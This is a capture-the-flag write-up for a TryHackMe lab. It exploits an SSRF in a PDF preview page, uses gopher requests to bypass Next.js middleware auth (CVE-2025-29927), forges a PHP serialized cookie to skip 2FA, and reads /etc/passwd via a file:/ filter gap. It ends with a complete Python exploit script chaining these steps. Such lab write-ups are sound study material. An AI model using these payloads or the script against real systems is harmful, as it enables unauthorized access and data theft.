> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/extract.md).

# Extract

{% embed url="<https://tryhackme.com/room/extract>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find two open ports: Port `22` with SSH, and the other is port `80`, which has the `Apache 2.4.58` web server.

<figure><img src="/files/2XLtjpV2fHlv6thbhk4v" alt=""><figcaption></figcaption></figure>

We visit the index page and see a document preview page for PDFs. Nothing special yet.

<figure><img src="/files/VYAmpDBLreg99mXP12vH" alt=""><figcaption></figcaption></figure>

In the source we see a smal script  loads a given PDF into an iframe by passing its URL  to `preview.php` and then makes the iframe visible.

<figure><img src="/files/D9dNKcqqoTrYRvOaU5UX" alt=""><figcaption></figcaption></figure>

We continue with a directory scan and we find a `management` directory.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://extract.thm/"                                                        
```

{% endcode %}

<figure><img src="/files/mXnhLGHnJslq3Byd7HfY" alt=""><figcaption></figcaption></figure>

But the Access is denied to `http://extract.thm/management`

<figure><img src="/files/60nQQjrcu8cNbMsanKer" alt=""><figcaption></figcaption></figure>

Next, we visit the `preview.php` page, recalling the source of the index page. It informs us, that the url param is missing.&#x20;

<figure><img src="/files/khwN1tJjIGOLVLZVvxTO" alt=""><figcaption></figcaption></figure>

## SSRF

The preview page with the URL parameter looks very much like a server-side request forgery (SSRF) vulnerability. We are now testing for this.

### Detection

We have a Server Side Request Vulnerability in front of us, since we can reach out to our own web server: `http://extract.thm/preview.php?url=http://10.14.90.235`.&#x20;

Since we know we are dealing with a PHP web server we could try to provide a web shell with a simple Python web server, but the SSRF does not leverage to evaluation of the code. If we provide the web shell via a PHP web server it gets evaluated on our machine.

<figure><img src="/files/qLocGP57FmQY4qgp5eh0" alt=""><figcaption></figcaption></figure>

For now, we submit the localhost and see a preview is still possible.

```
http://extract.thm/preview.php?url=127.0.0.1
```

<figure><img src="/files/zml0QFxoLffQgkIHwMqS" alt=""><figcaption></figcaption></figure>

Next, we try to reach out to `/management` which we had no access before. This reveals us a login page for the TryBookMe page.

```
http://extract.thm/preview.php?url=127.0.0.1/management
```

From there we can't just submit anything to the form, unless we can use gopher protocol to leverage  `GET` and `POST` requests in SSRF.

<figure><img src="/files/PxeX5fjZvaWr24ibJFIV" alt=""><figcaption></figcaption></figure>

### Enumerate Internal Services

But for now, we continue with enumerating internal services. For this we craft a wordlist containing all possible ports.

```
seq 65535 > ports.txt
```

And reach out to every possible service using FFuF. We are able to identify a service on port 10000.

```
ffuf -w ports.txt -u 'http://extract.thm/preview.php?url=127.0.0.1:FUZZ' -fw 1
```

<figure><img src="/files/fSKw3xWOFvnKLsmrm7Tp" alt=""><figcaption></figcaption></figure>

We reach out to `127.0.0.1:10000` and see that the access is permitted. But There's also a link to the API `http://extract.thm/customapi`.

```
http://extract.thm/preview.php?url=127.0.0.1:10000
```

```
http://extract.thm/customapi
```

<figure><img src="/files/RrKD6TCNlE0GmF3HY09e" alt=""><figcaption></figcaption></figure>

We view the source on `http://extract.thm/preview.php?url=127.0.0.1:10000` and it looks like a page crafted with NextJS.

{% code overflow="wrap" %}

```
< !DOCTYPE html > < html lang = "en" > < head > < meta charSet = "utf-8" / > < meta name = "viewport"
content = "width=device-width, initial-scale=1" / > < link rel = "stylesheet"
href = "/_next/static/css/178989e77b112f7f.css"
crossorigin = ""
data - precedence = "next" / > < link rel = "preload"
as = "script"
fetchPriority = "low"
href = "/_next/static/chunks/webpack-8fc0c21e0210cbd2.js"
crossorigin = "" / > < script src = "/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js"
async = ""
crossorigin = "" > < /script><script src="/_next / static / chunks / 472 - 22e55 b21ed910619.js " async="
" crossorigin="
"></script><script src=" / _next / static / chunks / main - app - 321 a014647b5278e.js " async="
" crossorigin="
"></script><title>TryBookMe API</title><meta name="
description " content="
API Service
for TryBookMe "/><script src=" / _next / static / chunks / polyfills - c67a75d1b6f99dc8.js " crossorigin="
" noModule="
"></script></head><body><main style="
max - width: 1000 px;
margin: 0 auto;
padding: 20 px "><header style="
margin - bottom: 20 px "><h1 style="
font - size: 24 px;
font - weight: bold ">TryBookMe</h1><nav style="
margin - top: 10 px "><ul style="
display: flex;
gap: 16 px "><li><a href=" / " style="
color: blue;
text - decoration: underline ">Home</a></li><li><a href=" / customapi " style="
color: blue;
text - decoration: underline ">API</a></li></ul></nav></header><div style="
padding: 2 rem;
max - width: 1200 px;
margin: 0 auto "><div style="
background: #fff8f8;
border: 1 px solid #ffcdd2;
padding: 1.5 rem;
border - radius: 8 px;
margin - top: 2 rem "><h2 style="
font - size: 1.8 rem;
margin - bottom: 1 rem;
color: #d32f2f ">Warning</h2><p style="
font - size: 1.1 rem;
line - height: 1.6 ">Unauthorised access to this system is strictly prohibited.</p></div></div></main><script src=" / _next / static / chunks / webpack - 8 fc0c21e0210cbd2.js " crossorigin="
" async="
"></script><script>(self.__next_f=self.__next_f||[]).push([0]);self.__next_f.push([2,null])</script><script>self.__next_f.push([1,"
1: HL[\"/_next/static/css/178989e77b112f7f.css\",\"style\",{\"crossOrigin\":\"\"}]\n0:\"$L2\"\n"]) < /script><script>self.__next_f.push([1,"3:I[3728,[],\"\"]\n5:I[9928,[],\"\"]\n6:I[6954,[],\"\"]\n7:I[7264,[],\"\"]\n"])</script > < script > self.__next_f.push([1, "2:[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/178989e77b112f7f.css\",\"precedence\":\"next\",\"crossOrigin\":\"\"}]],[\"$\",\"$L3\",null,{\"buildId\":\"k9Pjo5x24QkUE90SdyHNw\",\"assetPrefix\":\"\",\"initialCanonicalUrl\":\"/\",\"initialTree\":[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],\"initialHead\":[false,\"$L4\"],\"globalErrorComponent\":\"$5\",\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1000px\",\"margin\":\"0 auto\",\"padding\":\"20px\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"h1\",null,{\"style\":{\"fontSize\":\"24px\",\"fontWeight\":\"bold\"},\"children\":\"TryBookMe\"}],[\"$\",\"nav\",null,{\"style\":{\"marginTop\":\"10px\"},\"children\":[\"$\",\"ul\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"16px\"},\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"Home\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/customapi\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"API\"}]}]]}]}]]}],[\"$\",\"$L6\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"loading\":\"$undefined\",\"loadingStyles\":\"$undefined\",\"loadingScripts\":\"$undefined\",\"hasLoading\":false,\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L7\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":\"404\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],\"notFoundStyles\":[],\"childProp\":{\"current\":[\"$L8\",[\"$\",\"div\",null,{\"style\":{\"padding\":\"2rem\",\"maxWidth\":\"1200px\",\"margin\":\"0 auto\"},\"children\":[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff8f8\",\"border\":\"1px solid #ffcdd2\",\"padding\":\"1.5rem\",\"borderRadius\":\"8px\",\"marginTop\":\"2rem\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"fontSize\":\"1.8rem\",\"marginBottom\":\"1rem\",\"color\":\"#d32f2f\"},\"children\":\"Warning\"}],[\"$\",\"p\",null,{\"style\":{\"fontSize\":\"1.1rem\",\"lineHeight\":1.6},\"children\":\"Unauthorised access to this system is strictly prohibited.\"}]]}]}],null],\"segment\":\"__PAGE__\"},\"styles\":null}]]}]}]}],null]}]]\n"]) < /script><script>self.__next_f.push([1,"4:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"1\",{\"charSet\":\"utf-8\"}],[\"$\",\"title\",\"2\",{\"children\":\"TryBookMe API\"}],[\"$\",\"meta\",\"3\",{\"name\":\"description\",\"content\":\"API Service for TryBookMe\"}]]\n8:null\n"])</script > < script > self.__next_f.push([1, ""]) < /script></body > < /html>
```

{% endcode %}

### API Access - Authorization Bypass CVE-2025-29927

After some research, we find a recently published CVE on NextJS and an authorization bypass:

{% embed url="<https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass>" %}

The vulnerability requires the following header to apply the authorization bypass.&#x20;

```
x-middleware-subrequest: middleware
```

So, we need to  make a request with a header.&#x20;

As we have already mentioned some times, we will probably have to use Gopher. A Gopher request is a text-based query sent to a server over TCP port 70 as part of the Gopher protocol.\
The request contains a selector string ending with `\r\n`, and the server responds with either menus, documents, or binary data.\
Although largely obsolete, Gopher requests can be still relevant in security contexts such as SSRF exploitation like we have here.

A small guide on how to use Gopher and crafting own request can be found here:

{% embed url="<https://medium.com/@zoningxtr/ultimate-guide-to-gopher-protocol-from-basics-to-real-exploits-ed2fb788d8e0>" %}

The following tools might assist us:

{% embed url="<https://github.com/fuzzlove/GopherSSRF>" %}

{% embed url="<https://github.com/eMVee-NL/SSRF2gopher>" %}

We try to use SSRFgopher to craft us a request with the `middleware-subrequest` header to bypass the authorization check like explained in `CVE-2025-29927`.

<figure><img src="/files/xWgotxXh88Fx3hU54jyb" alt=""><figcaption></figcaption></figure>

Neither the single URL encoded payload nor the double URL encoded seems to work. From now on we try to craft them on our own.

<figure><img src="/files/rWP4d5SIUs4owNVxFQKa" alt=""><figcaption></figcaption></figure>

We want to make a GET request with the `middleware-subrequest` header set. We explain the structure of the Gopher request using the example from SSRFGopher, which did not work in the first place. It seems like there is an encoding issue.

{% code overflow="wrap" %}

```
gopher://127.0.0.1:10000/_GET%20customapi%20HTTP/1.1%0aHost:%20127.0.0.1%0ax-middleware-subrequest:%20middleware%0a%0a
```

{% endcode %}

In Gopher, the underscore `_` is just the separator that marks the start of the selector string. When `/_GET...`  is passed in the URL, the server connects and sends that string exactly as raw data.&#x20;

#### Breakdown:

* **`gopher://127.0.0.1:10000/`** → Target internal service running on localhost port **10000**
* **`_`** → Separator (start of the selector string in Gopher)
* **`GET customapi HTTP/1.1`** → The raw HTTP request line we want the internal service to process
* **`%0a`** → Line feed (`\n`), used to terminate each header line (here LF is enough, though in strict HTTP it’s usually `%0d%0a`)
* **`Host: 127.0.0.1`** → Host header pointing to the internal service
* **`x-middleware-subrequest: middleware`** → The special header that exploits CVE-2025-29927 (Next.js middleware auth bypass)
* **Final `%0a%0a`** → Blank line that ends the HTTP headers section and signals the start of the body (none here, since it’s a GET request)

After URL decoding, the remote service should end up seeing and evaluating the follwing:

```
GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
x-middleware-subrequest: middleware
```

But we just get a blank response.

<figure><img src="/files/y6EoHcozy7l9GaswkAWk" alt=""><figcaption></figcaption></figure>

With the following request without using the header yet, we retrieve a chunked redirect by double URL encoding it manually. Its encoded by the following scheme:

* **double-encode** spaces (`%2520`), CR (`%250d`), LF (`%250a`).
* **Single-encode** the forward slash (`%2f`).
* **Not encoded**: keywords like `GET`, `HTTP/1.1`, `Host:`, digits, and colons.

```
gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
```

{% code overflow="wrap" %}

```
gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250a 
```

{% endcode %}

<figure><img src="/files/7ToUFHxumDxCihH7Y30G" alt=""><figcaption></figcaption></figure>

Now we add the header `x-middleware-subrequest: middleware:`

```
gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
x-middleware-subrequest: middleware

```

With the following double URL encoded request we are able to retrieve the credentials of the user `librarian` - recalling the login page at `/management`. Furthermore we are able to spot the first flag.

{% code overflow="wrap" %}

```
gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250ax-middleware-subrequest:%2520middleware%250d%250a
```

{% endcode %}

<figure><img src="/files/rmX0deN32XO4uME2g1Dm" alt=""><figcaption></figcaption></figure>

### Management Access

With the obtained credentials, we return back to the `/management` page - which was also accessible via the SSRF. We then craft a Gopher GET request and review the page source to identify the POST parameters used by the form. The POST data parameters `username` and `password` are used.

```
gopher://127.0.0.1:80/_GET /management/ HTTP/1.1
Host: 127.0.0.1
Connection: close

```

{% code overflow="wrap" %}

```
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%252F%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250A%250D%250A
```

{% endcode %}

<figure><img src="/files/vu8qNkgGjtBybpONOhJ5" alt=""><figcaption></figcaption></figure>

We could also just inspect the source by our initial SSRF request.

```
view-source:http://extract.thm/preview.php?url=127.0.0.1/management
```

<figure><img src="/files/WLCgp3mAVYcRbBRwrhps" alt=""><figcaption></figcaption></figure>

We prepare the gopher request, and URL encoded first the last bits of the password.

```
gopher://127.0.0.1:80/_POST /management/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close

username=librarian&password=REDACTED%21%21
```

Next, we double URL encode the request again with the scheme explained initially.

{% code overflow="wrap" %}

```
gopher://127.0.0.1:80/_POST%20/management/index.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2043%0D%0AConnection:%20close%0D%0A%0D%0Ausername=librarian&password=REDACTED%2521%2521
```

{% endcode %}

We receive a redirect to a 2FA page, we see an auth token set in the cookies as well as a `PHPSESSID`.

{% code overflow="wrap" %}

```
gopher://127.0.0.1:80/_POST%2520%2Fmanagement%2Findex.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%252043%250D%250AConnection%3A%2520close%250D%250A%250D%250Ausername%3Dlibrarian%26password%3DREDACTED%252521%252521
```

{% endcode %}

<figure><img src="/files/NX9iNMaHlU3qJFVmjiSD" alt=""><figcaption></figcaption></figure>

We decode the token, to prepare another gopher request to the 2FA page with the token.

<figure><img src="/files/MBjWzgnCq6BsVr5zGE5N" alt=""><figcaption></figcaption></figure>

Our next request is prepared with the `PHPSESSID` cookie and the auth token:

{% code overflow="wrap" %}

```
gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=ivj52ff1et015t314cibok9lvk; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}

```

{% endcode %}

This time we need three layers of URL encoding. The third layer takes place in the AuthToken cookie to escape the special characters there. If we do not see a redirect, we set the token and `PHPSESSID` correctly.

{% code overflow="wrap" %}

```
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A0%25253B%25257D%250D%250A%250D%250A
```

{% endcode %}

<figure><img src="/files/9iHmcyl3kZoyN7JHMNTn" alt=""><figcaption></figcaption></figure>

We are not logged in yet, since have not set the validation of the 2FA token: `auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}`

We can set it like the following:

```
auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}
```

We prepare the Gopher request and URL Encode the payload like mentioned before:

```
gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=0st3nodd7h85uamu0tok6tci63; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}


```

{% code overflow="wrap" %}

```
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A1%25253B%25257D%250D%250A%250D%250A
```

{% endcode %}

We are logged in an are able to retrieve the final flag:

<figure><img src="/files/2JLYCdf4pWadxRelEn3X" alt=""><figcaption></figcaption></figure>

## Unintended

There is an uninteded we overlooked while testing the room. We are also able to leverage the URL parameter to a file inclusion. While `file:///` gets filtered, `file:/` doesn't and get properly evaluated. In this example we include `/etc/passwd`.&#x20;

```
http://extract.thm/preview.php?url=file:/etc/passwd
```

<figure><img src="/files/ebml4s1BxIAMTa7vnEhl" alt=""><figcaption></figcaption></figure>

We can inspect the sources of the different pages.

```
http://extract.thm/preview.php?url=file:/var/www/html/index.php
```

<figure><img src="/files/rCpdFp8jK4erhRYOFt4E" alt=""><figcaption></figcaption></figure>

In `/var/www/html/preview.php` we can see the filter that is applied, but not sufficient.

```
http://extract.thm/preview.php?url=file:/var/www/html/preview.php
```

<figure><img src="/files/xOYqlE2gAq0yjhSwjPSK" alt=""><figcaption></figcaption></figure>

We can spot the management page we found using our directory scan. Revealing <kbd>username</kbd> and `password`. Furthermore the `2fa.php` page.

```
http://extract.thm/preview.php?url=file:/var/www/html/management/index.php
```

<figure><img src="/files/TX2nXPGmZHfhPkNGxZ4E" alt=""><figcaption></figcaption></figure>

This `2fa.php` page contains the second flag.

```
http://extract.thm/preview.php?url=file:/var/www/html/management/2fa.php
```

<figure><img src="/files/aSxTxx81RZeZ6AbYmWce" alt=""><figcaption></figcaption></figure>

## AutoPwn by 0day aka Ryan Montgomery

This autopwn script chains multiple SSRF payloads to extract flags automatically. It first bypasses the Next.js middleware to grab the initial flag, then forges a serialized cookie to bypass 2FA and retrieve the second flag. The script is written  and sharedd by **0day - Ryan Montgomery!** Thank you very much for sharing!

{% code title="exploit\_extract.py" overflow="wrap" lineNumbers="true" %}

```python
import re
import urllib.parse as up
import requests

R = "http://10.10.21.228/preview.php?url="
F = lambda t: re.findall(r"THM\{[^}]+\}", t)

def send(raw, port=80):
    g = "gopher://127.0.0.1:%d/_%s" % (port, up.quote(raw, safe=""))
    return requests.get(R + up.quote(g, safe=""), timeout=10).text

# --- Flag 1 (Next.js /customapi bypass) ---
hdr = ":".join(["middleware"] * 7)
raw = (
    "GET /customapi HTTP/1.1\r\n"
    "Host:127.0.0.1:10000\r\n"
    f"X-Middleware-Subrequest:{hdr}\r\n"
    "Connection:close\r\n\r\n"
)
flag1 = F(send(raw, 10000))[0]

# --- Flag 2 (login + 2FA bypass) ---
body = up.urlencode({"username": "librarian", "password": "REDACTED!!"})
req = (
    "POST /management/ HTTP/1.1\r\n"
    "Host:127.0.0.1\r\n"
    "Content-Type:application/x-www-form-urlencoded\r\n"
    f"Content-Length:{len(body)}\r\n"
    "Connection:close\r\n\r\n"
    f"{body}"
)
resp = send(req)
sid = re.search(r"PHPSESSID=([^;]+)", resp).group(1)

tok = up.quote('O:9:"AuthToken":1:{s:9:"validated";b:1;}', safe="")
req2 = (
    f"GET /management/2fa.php HTTP/1.1\r\n"
    f"Host:127.0.0.1\r\n"
    f"Cookie:PHPSESSID={sid};auth_token={tok}\r\n"
    "Connection:close\r\n\r\n"
)
flag2 = F(send(req2))[0]

# --- Output ---
print("flag1:", flag1)
print("flag2:", flag2)
```

{% endcode %}
